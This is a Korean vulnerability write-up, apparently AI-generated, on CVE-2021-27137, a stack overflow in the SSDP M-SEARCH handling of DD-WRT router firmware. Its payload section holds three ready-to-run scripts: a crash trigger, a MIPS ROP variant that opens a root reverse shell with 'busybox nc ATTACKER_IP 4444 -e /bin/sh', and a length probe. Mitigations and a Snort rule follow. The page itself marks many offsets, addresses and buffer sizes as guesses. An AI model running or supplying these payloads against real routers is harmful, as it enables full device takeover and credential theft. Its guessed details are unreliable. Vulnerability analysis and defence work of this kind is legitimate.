Kestrel
CVE-2021-27137mimon· 2026년 7월 27일 AM 01:30

CVE-2021-27137 — 기본 분석

공격 방법

① 취약 컴포넌트: DD-WRT 펌웨어의 router/upnp/src/ssdp.c 내 ssdp_msearch() 함수. 영향 버전은 build 45724 이전 전체이며, MiniUPnP 계열이 아닌 DD-WRT 자체 구현입니다. UPnP 서비스(upnpd)는 기본 비활성이지만, 사용자가 UI(Services → UPnP)에서 활성화 시 udp/1900(SSDP) 및 tcp/5000·49152(gena/soap) 를 LAN 브릿지(br0)에 바인딩합니다. 추정: 일부 커스텀 빌드/커뮤니티 이미지에서는 기본 활성 또는 WAN 인터페이스에도 바인딩되어 원격 노출.

② 공격 전제조건: 인증 불필요(pre-auth). 네트워크 위치는 대상 라우터와 동일 L2 세그먼트(LAN/WLAN 게스트 포함) 이거나, WAN 측에서 udp/1900 이 필터링되지 않은 잘못 구성된 라우터. UPnP 데몬(upnpd)이 running 상태여야 하며, nvram get upnp_enable=1 상태. 추정: IPv6 링크로컬(ff02::c) 로도 트리거 가능.

③ 트리거 경로: 공격자가 udp/1900 에 M-SEARCH * HTTP/1.1 SSDP 요청을 전송하면 ssdp.c 의 ssdp_msearch() 가 recvfrom() 버퍼에서 헤더를 파싱합니다. ST(Search Target) 또는 MAN 헤더 값(또는 요청 라인 자체)을 고정 크기 스택 버퍼(추정: char st[64] 또는 char buf[256])에 strcpy()/sprintf() 로 길이 검사 없이 복사합니다. 헤더 값에 256~1024 바이트의 A 패딩 + 리턴 주소 오버라이트를 배치하면 스택의 saved return address 또는 saved $ra(MIPS/ARM) 을 덮어 제어권을 획득합니다. DD-WRT 는 MIPS/ARM 기반이고 upnpd 는 root 로 실행되며, 대부분 빌드에서 NX/ASLR 완화가 부분 적용(스택 실행 방지는 있으나 라이브러리 ASLR 미흡)되어 ROP 로 우회 가능.

④ 성공 시 영향: upnpd 프로세스 컨텍스트(root) 에서의 원격 코드 실행. 라우터 완전 장악 → nvram 자격증명(admin_password, wpa_psk) 유출, DNS/게이트웨이 변조를 통한 클라이언트 MITM, WAN↔LAN 트래픽 스니핑, 펌웨어 재flash 를 통한 지속성(bootloader 수준 backdoor), 그리고 LAN 내부 호스트로의 pivot(SSH tunnel, socks proxy 기동), 봇넷 편입(Mirai/Gafgyt 변종) 가능.

페이로드 예시

예시 1

python
1# 용도: 기본 M-SEARCH 스택 오버플로우 트리거 — ST 헤더에 과대 문자열을 넣어 ssdp_msearch() 의 strcpy() 를 폭주시킴
2python3 -c "
3import socket
4payload = b'M-SEARCH * HTTP/1.1
5'
6payload += b'HOST: 239.255.255.250:1900
7'
8payload += b'MAN: \"ssdp:discover\"
9'
10payload += b'MX: 2
11'
12# 핵심: ST 헤더 값이 ssdp.c 내부 고정 버퍼(추정 64~256B)로 strcpy 됨 — 헤더 길이 검사 부재로 saved return address 오버라이트
13payload += b'ST: ' + b'A'*1024 + b'
14'
15payload += b'
16'
17s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
18s.sendto(payload, ('TARGET_HOST', 1900))
19"
20# 확인 포인트: upnpd 데몬 crash → 이후 M-SEARCH 응답 부재, 라우터 시스템 로그에 'Segmentation fault' 또는 kernel oops, UPnP 포트 매핑 기능 불능

예시 2

python
1# 용도: MIPS ROP 를 통한 실제 RCE 변형 — return address 를 system() 유사 gadget 으로 덮어 리버스셸 획득
2python3 -c "
3import socket, struct
4# 핵심: MIPS little-endian(MIPSEL) 기준, saved $ra offset 은 추정 260 바이트. libc/uClibc 의 system() 주소는 각 빌드마다 상이 → 사전 정보수집 필요
5SYSTEM_ADDR = 0x2ab12340 # 추정: uClibc system() 주소 (빌드별 상이)
6CMD_ADDR = 0x7fff0500 # 추정: 스택상 명령문자열 위치
7ra_offset = 260
8cmd = b'busybox nc ATTACKER_IP 4444 -e /bin/sh;'
9buf = cmd + b'\x00'
10buf += b'A' * (ra_offset - len(buf))
11buf += struct.pack('<I', SYSTEM_ADDR) # saved $ra → system()
12buf += struct.pack('<I', CMD_ADDR) # $a0 후보 (gadget 로 로드)
13req = b'M-SEARCH * HTTP/1.1
14'
15req += b'HOST: 239.255.255.250:1900
16'
17req += b'MAN: \"ssdp:discover\"
18'
19req += b'MX: 2
20'
21req += b'ST: ' + buf + b'
22
23'
24socket.socket(socket.AF_INET, socket.SOCK_DGRAM).sendto(req, ('TARGET_HOST', 1900))
25"
26# 확인 포인트: ATTACKER_IP:4444 에 `nc -lvnp 4444` 리스너에서 root 셸 유입, `id` 실행 시 uid=0(root)

예시 3

python
1# 용도: blind DoS/canary 변형 — 응답이 없는 UDP 특성상 upnpd 재시작 시간으로 취약 여부 판별 + 다른 헤더(MAN) 진입점 사용
2for i in 64 128 256 512 1024 2048; do
3 # 핵심: strcpy 는 ST 뿐 아니라 MAN 헤더 파싱에서도 발생 가능(추정) — 진입점 다양화로 필터 우회
4 python3 -c "
5import socket, sys
6n = int(sys.argv[1])
7p = b'M-SEARCH * HTTP/1.1
8'
9p += b'HOST: 239.255.255.250:1900
10'
11p += b'MAN: ' + b'\"' + b'B'*n + b'\"' + b'
12'
13p += b'MX: 2
14ST: ssdp:all
15
16'
17socket.socket(socket.AF_INET, socket.SOCK_DGRAM).sendto(p, ('TARGET_HOST', 1900))
18print('sent', n)
19" $i
20 sleep 1
21 # 확인 포인트: 정상 M-SEARCH 로 응답 유무 폴링 → 특정 길이 이상에서 upnpd 무응답/재기동 지연(>5s) = 오버플로우 트리거 크기 특정. 외부 canary: 페이로드에 유니크 magic(0xDEADBEEF) 삽입 후 크래시 덤프에서 검색
22 nmap -sU -p1900 --script=upnp-info TARGET_HOST | grep -q 'Server:' || echo "upnpd DOWN at len=$i"
23done

완화 방안

  • [버전업그레이드] DD-WRT build 45724 이상으로 펌웨어 업그레이드 — 커밋에서 ssdp.c 의 strcpy() 가 strlcpy(dst, src, sizeof(dst)) / snprintf 로 교체되어 위 payload 의 A1024 및 B2048 헤더 값이 버퍼 크기(예: 64) 에서 절단됨. nvram get os_version 로 확인.
  • [설정변경] 즉시 완화: UPnP 서비스 비활성화 — Services → UPnP → Disable 후 nvram set upnp_enable=0 && nvram commit && stopservice upnpd. udp/1900 리스너 자체가 사라져 M-SEARCH 페이로드가 커널 단에서 ICMP unreachable 로 drop, ssdp_msearch() 진입 불가.
  • [코드패치] router/upnp/src/ssdp.c 의 ssdp_msearch() 내 헤더 복사 지점 패치 — 수정 전: strcpy(st_buf, hdr_val); / 수정 후: if (strlen(hdr_val) >= sizeof(st_buf)) return -1; strlcpy(st_buf, hdr_val, sizeof(st_buf));. ST/MAN 값 길이가 63 초과 시 조기 반환 → payload 의 1024/2048 바이트가 스택 프레임에 진입조차 못 함. 추가로 함수 진입부에 -fstack-protector-strong 컴파일 옵션 및 GCC canary 활성화.
  • [WAF·네트워크] iptables INPUT 룰로 WAN·게스트 VLAN 에서 SSDP 차단 및 LAN 내부에서도 비정상 길이 M-SEARCH drop — iptables -A INPUT -i vlan2 -p udp --dport 1900 -j DROPiptables -A INPUT -p udp --dport 1900 -m length --length 512:65535 -j DROP. length 매치가 payload 의 ST: AAAA... 로 부풀려진 512B+ UDP 데이터그램을 커널에서 폐기해 upnpd 도달 전 차단. Snort 룰 예시: alert udp any any -> $HOME_NET 1900 (msg:"DD-WRT SSDP oversize header CVE-2021-27137"; content:"M-SEARCH"; nocase; pcre:"/^(ST|MAN)\s*:\s*[^ ]{200,}/mi"; sid:2027137;) — pcre 가 ST/MAN 헤더 값 200자 초과를 매칭.
※ 본 분석은 Kestrel AI 심층 분석 결과입니다. 참고용이며, 실제 대응 전에는 전문가 검토가 필요합니다.

댓글(0)

댓글 작성 은 로그인 후 이용할 수 있어요.

다른 사용자의 댓글은 자유롭게 읽을 수 있어요.

로그인하기

불러오는 중…